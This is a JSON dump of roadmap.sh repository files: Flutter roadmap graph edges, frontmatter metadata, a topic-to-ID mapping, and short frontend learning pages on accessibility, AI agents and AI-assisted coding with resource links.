\"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"P_wptV7oenaYwef1QhKhu\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"bvojoCWJRSB6pdBFM1SbY\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__P_wptV7oenaYwef1QhKhux2-mdSWrWi-1n_YlY5iTJwZpw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bvojoCWJRSB6pdBFM1SbY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"x5q_bWpxmpJFK8eaWZxuY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpy2-x5q_bWpxmpJFK8eaWZxuYz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bvojoCWJRSB6pdBFM1SbY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"tMeuk-nsFMx3kVS7Yn4T0\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpy2-tMeuk-nsFMx3kVS7Yn4T0z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bvojoCWJRSB6pdBFM1SbY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_guWOSGfTpErGkzs69g1R\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpy2-_guWOSGfTpErGkzs69g1Rz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bvojoCWJRSB6pdBFM1SbY\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"bYJ0G-g4R5faoJfFjRQW7\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__bvojoCWJRSB6pdBFM1SbYx2-mdSWrWi-1n_YlY5iTJwZpw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bYJ0G-g4R5faoJfFjRQW7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"aRmdyC2pzmR9r1ybU2CTP\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpy2-ozQQKmfO_Ir9aJIMBvijKz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bYJ0G-g4R5faoJfFjRQW7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"KWT-Lu-HCeA3GdZawD0a7\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpy2-KWT-Lu-HCeA3GdZawD0a7z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bYJ0G-g4R5faoJfFjRQW7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"MfqUMirRIEiM7pr5NiGF_\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpy2-MfqUMirRIEiM7pr5NiGF_z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bYJ0G-g4R5faoJfFjRQW7\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"wbush8eQsi9aDSRobGAyG\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__oDgbRKKrdHWHyuodr8DS6z2-mdSWrWi-1n_YlY5iTJwZpy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wbush8eQsi9aDSRobGAyG\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"KLoL-055KShGrQ-NQosy8\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__wbush8eQsi9aDSRobGAyGx2-mdSWrWi-1n_YlY5iTJwZpw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KLoL-055KShGrQ-NQosy8\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"yRY8MJuXxhDV6Hd-hTMRu\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpy2-yRY8MJuXxhDV6Hd-hTMRuz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KLoL-055KShGrQ-NQosy8\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"M6iJ0VZWB8mreItlxvvqI\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpy2-M6iJ0VZWB8mreItlxvvqIz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KLoL-055KShGrQ-NQosy8\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"F1kbyjRR2uHRbTe90LTFP\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpy2-F1kbyjRR2uHRbTe90LTFPz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eXaP_U-EzptBuOp5R0KK3\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"KLoL-055KShGrQ-NQosy8\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__eXaP_U-EzptBuOp5R0KK3z2-mdSWrWi-1n_YlY5iTJwZpy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KLoL-055KShGrQ-NQosy8\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"aet6mLBkB1BtxI8e7x-h3\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpy2-aet6mLBkB1BtxI8e7x-h3z1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KLoL-055KShGrQ-NQosy8\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"zGkDu5j8ln8U9kZgz3TDJ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__KLoL-055KShGrQ-NQosy8x2-zGkDu5j8ln8U9kZgz3TDJw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zGkDu5j8ln8U9kZgz3TDJ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"2RqGKWi13TLleTT7KpdZV\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__zGkDu5j8ln8U9kZgz3TDJx2-RQMRtlRxvp0CZJzCjRtPuw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zGkDu5j8ln8U9kZgz3TDJ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Jti4RmGDn7jVaHOxtTwPc\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__zGkDu5j8ln8U9kZgz3TDJy2-mdSWrWi-1n_YlY5iTJwZpz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Jti4RmGDn7jVaHOxtTwPc\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"dgdv8sDKkgQ365mR0kBR3\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__Jti4RmGDn7jVaHOxtTwPcy2-mdSWrWi-1n_YlY5iTJwZpz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ekKzwQCMOYJLVN5KAK-ew\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"s5OVzjQp6k7rSphhv3hZE\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__ekKzwQCMOYJLVN5KAK-ewz2-mdSWrWi-1n_YlY5iTJwZpy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Jti4RmGDn7jVaHOxtTwPc\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"ehlGkYI3dqzu3B1pkhg9t\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"selected\": false,\n      \"id\": \"xy-edge__Jti4RmGDn7jVaHOxtTwPcx2-ehlGkYI3dqzu3B1pkhg9tw2\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"s5OVzjQp6k7rSphhv3hZE\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"g2qXhkk6oGaBJy8Y2JOwW\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpx2-g2qXhkk6oGaBJy8Y2JOwWw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"s5OVzjQp6k7rSphhv3hZE\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"mdSWrWi-1n_YlY5iTJwZp\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__s5OVzjQp6k7rSphhv3hZEz2-mdSWrWi-1n_YlY5iTJwZpw1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mdSWrWi-1n_YlY5iTJwZp\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"BjE4Qvjpi0i_s4Oib9765\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpx2-BjE4Qvjpi0i_s4Oib9765w2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mdSWrWi-1n_YlY5iTJwZp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"O5dely89N5UCMBeUfh8ud\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpy2-O5dely89N5UCMBeUfh8udz1\",\n      \"selected\": false,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/flutter/flutter.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/flutter.json'\npdfUrl: '/pdfs/roadmaps/flutter.pdf'\norder: 10\nbriefTitle: 'Flutter'\nbriefDescription: 'Step by step guide to becoming a Flutter Developer in 2025'\ntitle: 'Flutter Developer'\ndescription: 'Step by step guide to becoming a Flutter developer in 2025'\nisNew: false\nhasTopics: true\nrenderer: 'editor'\ndimensions:\n  width: 968\n  height: 2670\nschema:\n  headline: 'Flutter Developer Roadmap'\n  description: 'Learn how to become a Flutter Developer with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/flutter.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'Flutter Roadmap: Learn to become a modern Flutter developer'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for flutter development. Learn to become a modern Flutter developer by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'guide to becoming a flutter developer'\n    - 'guide to becoming a flutter developer 2025'\n    - 'flutter developer'\n    - 'flutter engineer'\n    - 'guide to flutter'\n    - 'flutter roadmap'\n    - 'flutter roadmap 2025'\n    - 'flutter skills'\n    - 'flutter skills test'\n    - 'skills for flutter'\n    - 'what is flutter'\n    - 'flutter quiz'\n    - 'flutter interview questions'\n    - 'flutter engineer roadmap'\n    - 'flutter developer roadmap'\n    - 'become a flutter developer'\n    - 'flutter developer career path'\n    - 'modern flutter developer'\nrelatedRoadmaps:\n  - 'react-native'\n  - 'android'\n  - 'backend'\n  - 'devops'\n  - 'python'\n  - 'golang'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/flutter/migration-mapping.json",
    "content": "{\n  \"dart-basics\": \"AubSeLi2nwNTUA-L3Kfn4\",\n  \"dart-basics:dart-pad\": \"vR38pAZOfI55R7N7NLY5N\",\n  \"dart-basics:variables\": \"P-SbMLN-AaNMss_7X0_5N\",\n  \"dart-basics:built-in-types\": \"TT6HoilzgmS8CAPiTTKZ0\",\n  \"dart-basics:functions\": \"Pek6vOO-qKCetTznCGv6f\",\n  \"dart-basics:operators\": \"Q2S4__BB30KljB7SlquJx\",\n  \"dart-basics:control-flow-statements\": \"keS-4La_a227quDYYbOJT\",\n  \"setup-development-environment\": \"HCJXVgnglYuRhK0zl3iPG\",\n  \"setup-development-environment:flutter-cli\": \"FrbleiQ4BbIEbR4_v9o8N\",\n  \"setup-development-environment:fvm\": \"m92WPPeZUIeD8IgunLXe2\",\n  \"setup-development-environment:ides:vs-code\": \"HMDsgljLshA63XX-hhAxV\",\n  \"setup-development-environment:ides:android-studio\": \"QHPiMRg4IJXDErrEYamrJ\",\n  \"setup-development-environment:ides:intellij-idea\": \"lkABkFigkVzl1x4_8xEZz\",\n  \"widgets\": \"dy2Jep9hIIECaLutx-3K0\",\n  \"widgets:inherited-widgets\": \"DKt8U-iZcrXU5gWGRONqZ\",\n  \"widgets:stateless-widgets\": \"e-m4iKuK6NqFaQLE5viNI\",\n  \"widgets:stateful-widgets\": \"07tpSQeeMLKggWwdUXAej\",\n  \"widgets:styled-widgets\": \"wBSdmrVPv3Zuys3X8VvBm\",\n  \"widgets:styled-widgets:material-widgets\": \"DrQqq-C8XdiXVXBMLS4Wy\",\n  \"widgets:styled-widgets:cupertino-widgets\": \"L8oUQA4OAINr-WshHaOPZ\",\n  \"widgets:responsive-widgets\": \"lCpJQ8GZp5KhpGO4Sttgu\",\n  \"working-with-assets\": \"z50iixpcCMe9sTh-gwTI3\",\n  \"working-with-assets:fonts\": \"cXsIM4rZsBChVdrm8poOp\",\n  \"working-with-assets:images\": \"7v3VFKGaRFjm87319gBpw\",\n  \"working-with-assets:other-file-types\": \"WnG31VsKQRlxGX85qNIum\",\n  \"version-control-systems\": \"2nz5JoAPsZftFNLypr3Is\",\n  \"version-control-systems:git\": \"yQyIPT09n62f1v8JbkoYJ\",\n  \"repo-hosting-services\": \"qGN95GG0Q3dur72GS3EDX\",\n  \"repo-hosting-services:github\": \"V0R4VyQ64Bwwj6O8XbZyF\",\n  \"design-principles\": \"drwRSEnl1-ziCvxWJZMJ2\",\n  \"design-principles:dependency-injection\": \"fhPl9rycPa1r10fuEuNhi\",\n  \"design-principles:design-patterns\": \"MLdt_37kpF2eV0oy56GZF\",\n  \"design-principles:solid-principles\": \"VKqo4dAcy-JiZo7Lw5jeg\",\n  \"design-principles:oop\": \"1-dfwbhXgeRT3VVq3RSRv\",\n  \"package-manager\": \"med4T8PVkxIo465VuKDEj\",\n  \"package-manager:pub-dev\": \"lXruqvSShlQrdVEo_xPm1\",\n  \"package-manager:flutter-pub-dart-pub\": \"9xZlW6S-5-uDNWb7qzBmG\",\n  \"working-with-apis\": \"9Az7tmevGI6bVqCTvVL50\",\n  \"working-with-apis:json\": \"TMHrKxnciIpd8F1WLjray\",\n  \"working-with-apis:web-sockets\": \"SUFuHR-r6NfAzIICXGHkK\",\n  \"working-with-apis:graphql\": \"Ym-8x_FNrs1C-Ki3aykIW\",\n  \"working-with-apis:restful-apis\": \"soi3pRxOp6A4ZmGZPQCn3\",\n  \"storage\": \"P_wptV7oenaYwef1QhKhu\",\n  \"storage:sqlite\": \"NPaqiuUpzQbrsXA5XNI7U\",\n  \"storage:shared-preferences\": \"Fdv7Nu26Egtl9tklKn5-8\",\n  \"storage:firebase\": \"EVd1rLBHjKbtgkIE7InS7\",\n  \"storage:firebase:authentication\": \"lCVoKYJlQEYE2viAuThk7\",\n  \"storage:firebase:storage\": \"x4B0gmCo5sXFHYs3CYsOn\",\n  \"storage:firebase:firestore\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n  \"storage:firebase:push-notifications\": \"YzJrDGmfS0vbWjnPnSFVo\",\n  \"storage:firebase:remote-config\": \"4ZbGj54WR5iuk0V8X_cpL\",\n  \"storage:firebase:cloud-functions\": \"bVeHBEoR_4kfPsEHmVYbp\",\n  \"advanced-dart\": \"bvojoCWJRSB6pdBFM1SbY\",\n  \"advanced-dart:core-libraries\": \"nQio4JabDrFCmScx59Qit\",\n  \"advanced-dart:streams\": \"fIOq8ZumOrAo5uz4nbq2k\",\n  \"advanced-dart:futures\": \"I1cqvOsVD7-86VPnrdTAv\",\n  \"advanced-dart:lists\": \"C4wC3_wqNGl8umJ050-hJ\",\n  \"advanced-dart:collections\": \"Nx6YqH-MiqX-UFMQNqeEp\",\n  \"advanced-dart:lambdas\": \"tMeuk-nsFMx3kVS7Yn4T0\",\n  \"advanced-dart:functional-programming\": \"x5q_bWpxmpJFK8eaWZxuY\",\n  \"advanced-dart:isolates\": \"t_75W0nyd0UBytwvJAQ1x\",\n  \"advanced-dart:async-await\": \"_guWOSGfTpErGkzs69g1R\",\n  \"state-management\": \"bYJ0G-g4R5faoJfFjRQW7\",\n  \"state-management:change-notifier\": \"VRWeqMV7qOdPzM5RfgpGF\",\n  \"state-management:value-notifier\": \"aRmdyC2pzmR9r1ybU2CTP\",\n  \"state-management:redux\": \"DoqnE2Iy3lKzEm88qjKI-\",\n  \"state-management:riverpod\": \"KWT-Lu-HCeA3GdZawD0a7\",\n  \"state-management:bloc\": \"ZfkaTipYJ1jLY-RC3mdmt\",\n  \"state-management:provider\": \"MfqUMirRIEiM7pr5NiGF_\",\n  \"state-management:get-x\": \"nK_ZKTfNc8P-RJoz5jY32\",\n  \"reactive-programming\": \"wbush8eQsi9aDSRobGAyG\",\n  \"reactive-programming:rxdart\": \"ozQQKmfO_Ir9aJIMBvijK\",\n  \"animations\": \"KLoL-055KShGrQ-NQosy8\",\n  \"animations:curved-animations\": \"F1kbyjRR2uHRbTe90LTFP\",\n  \"animations:animation-controller\": \"eXaP_U-EzptBuOp5R0KK3\",\n  \"animations:animated-builder\": \"M6iJ0VZWB8mreItlxvvqI\",\n  \"animations:animated-widget\": \"yRY8MJuXxhDV6Hd-hTMRu\",\n  \"animations:hero\": \"5WPok-30ubqU8uox7XiSf\",\n  \"animations:opacity\": \"aet6mLBkB1BtxI8e7x-h3\",\n  \"testing\": \"zGkDu5j8ln8U9kZgz3TDJ\",\n  \"testing:widget-testing\": \"9hNfDtZK7_b9qUOXlFGFZ\",\n  \"testing:unit-testing\": \"BCsv2fKHVxaB22RJJJPWM\",\n  \"testing:integration-testing\": \"2RqGKWi13TLleTT7KpdZV\",\n  \"testing:tdd\": \"JbM-Hbf2ShUQt268ZMeZA\",\n  \"testing:bdd\": \"0fpwuPTW94iyNlsjXcPOO\",\n  \"dev-tools\": \"Jti4RmGDn7jVaHOxtTwPc\",\n  \"dev-tools:flutter-inspector\": \"ehlGkYI3dqzu3B1pkhg9t\",\n  \"dev-tools:flutter-outline\": \"wisXrfrmnZYB3hs5f3_VS\",\n  \"dev-tools:memory-allocation\": \"ZsruX7gozx2-0cQNIkZ6o\",\n  \"flutter-internals\": \"dgdv8sDKkgQ365mR0kBR3\",\n  \"flutter-internals:render-objects\": \"9ytV8xPq60z7doFG07PHi\",\n  \"flutter-internals:3-trees\": \"24xYv3joKX1roqRGfBXmr\",\n  \"flutter-internals:immutability\": \"lHzW9dyF1u3qmjfdb3vHe\",\n  \"ci-cd\": \"ekKzwQCMOYJLVN5KAK-ew\",\n  \"ci-cd:fast-lane\": \"hd4O2UPI9bZiyGuCMA-J4\",\n  \"ci-cd:codemagic\": \"DcSBkhcOG55_dNaLF1FWA\",\n  \"ci-cd:bitrise\": \"1xTlq-0MaHN15KZid31Dk\",\n  \"ci-cd:github-actions\": \"8rCjcuZNL9kicMBXiL46l\",\n  \"ci-cd:firebase-app-distribution\": \"akQ7SEHiZm9pZK49rsbO2\",\n  \"analytics\": \"s5OVzjQp6k7rSphhv3hZE\",\n  \"analytics:segment\": \"PQ7o9Jw9SBEhHl8cc_46x\",\n  \"analytics:mix-panel\": \"RQMRtlRxvp0CZJzCjRtPu\",\n  \"analytics:firebase-analytics\": \"g2qXhkk6oGaBJy8Y2JOwW\",\n  \"analytics:google-analytics\": \"3IQRLoW9OEf0121-w4o5m\",\n  \"deployment\": \"mdSWrWi-1n_YlY5iTJwZp\",\n  \"deployment:appstore\": \"JHkdIQRgf1bbL-HASvGi0\",\n  \"deployment:guidelines-and-protocols\": \"BjE4Qvjpi0i_s4Oib9765\",\n  \"deployment:playstore\": \"wF8Iy7V-f52qQxOsAJobz\"\n}"
  },
  {
    "path": "src/data/roadmaps/frontend/content/accessibility@e-k6EhoxYG9h0x6vWOrDh.md",
    "content": "# Accessibility\n\nWebsite accessibility ensures sites are usable by everyone, including people with disabilities. Involves alt text for images, keyboard navigation, color contrast, and captions. Benefits all users, supports legal compliance, and expands audience reach.\n\nVisit the following resources to learn more:\n\nVisit the following resources to learn more:\n\n- [@article@Accessibility for Developers by Google](https://web.dev/accessibility)\n- [@video@Complete Playlist on Accessibility](https://youtube.com/playlist?list=PLNYkxOF6rcICWx0C9LVWWVqvHlYJyqw7g)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/accessibility@iJIqi7ngpGHWAqtgdjgxB.md",
    "content": "# Accessibility\n\nWebsite accessibility ensures sites are usable by everyone, including people with disabilities. Involves alt text for images, keyboard navigation, color contrast, and captions. Benefits all users, supports legal compliance, and expands audience reach.\n\nVisit the following resources to learn more:\n\n- [@article@Accessibility for Developers by Google](https://web.dev/accessibility)\n- [@video@Complete Playlist on Accessibility](https://youtube.com/playlist?list=PLNYkxOF6rcICWx0C9LVWWVqvHlYJyqw7g)\n- [@feed@Explore top posts about Accessibility](https://app.daily.dev/tags/accessibility?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/agents@e4j6u0e_WqK1vfrUwJJ4M.md",
    "content": "# AI Agents\n\nAI agents are autonomous programs designed to help developers write code more efficiently. These agents can automate repetitive tasks, suggest code completions, identify errors, and even generate entire code blocks based on natural language descriptions or existing code patterns. They leverage machine learning models to understand code syntax, semantics, and context, enabling them to provide intelligent and relevant assistance throughout the software development lifecycle.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated AI Agents Roadmap](https://roadmap.sh/ai-agents)\n- [@article@What are AI Agents? - IBM](https://www.ibm.com/think/topics/ai-agents)\n- [@article@AI Agents Explained in Simple Terms for Beginners](https://www.geeky-gadgets.com/ai-agents-explained-for-beginners/)\n- [@video@From Zero to Your First AI Agent in 25 Minutes (No Coding)](https://www.youtube.com/watch?v=EH5jx5qPabU)\n- [@video@What are AI Agents?](https://www.youtube.com/watch?v=F8NKVhkZZWI)\n- [@video@I Agents, Clearly Explained](https://www.youtube.com/watch?v=FwOTs4UxQS4)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/ai-assisted-coding@ipcNHz8KbfpE57kNP15hP.md",
    "content": "# AI-Assisted Coding\n\nAI-assisted coding involves using artificial intelligence tools to help developers write code more efficiently and effectively. These tools can provide real-time suggestions, automate repetitive tasks, identify potential errors, and even generate code snippets based on natural language descriptions, ultimately speeding up development and improving code quality.\n\nVisit the following resources to learn more:\n\n- [@book@AI-Assisted Programming](https://www.hkdca.com/wp-content/uploads/2025/06/ai-assisted-programming-oreilly.pdf)\n- [@article@How to Become an Expert in AI-Assisted Coding – A Handbook for Developers](https://www.freecodecamp.org/news/how-to-become-an-expert-in-ai-assisted-coding-a-handbook-for-developers/)\n- [@article@Best Practices I Learned for AI Assisted 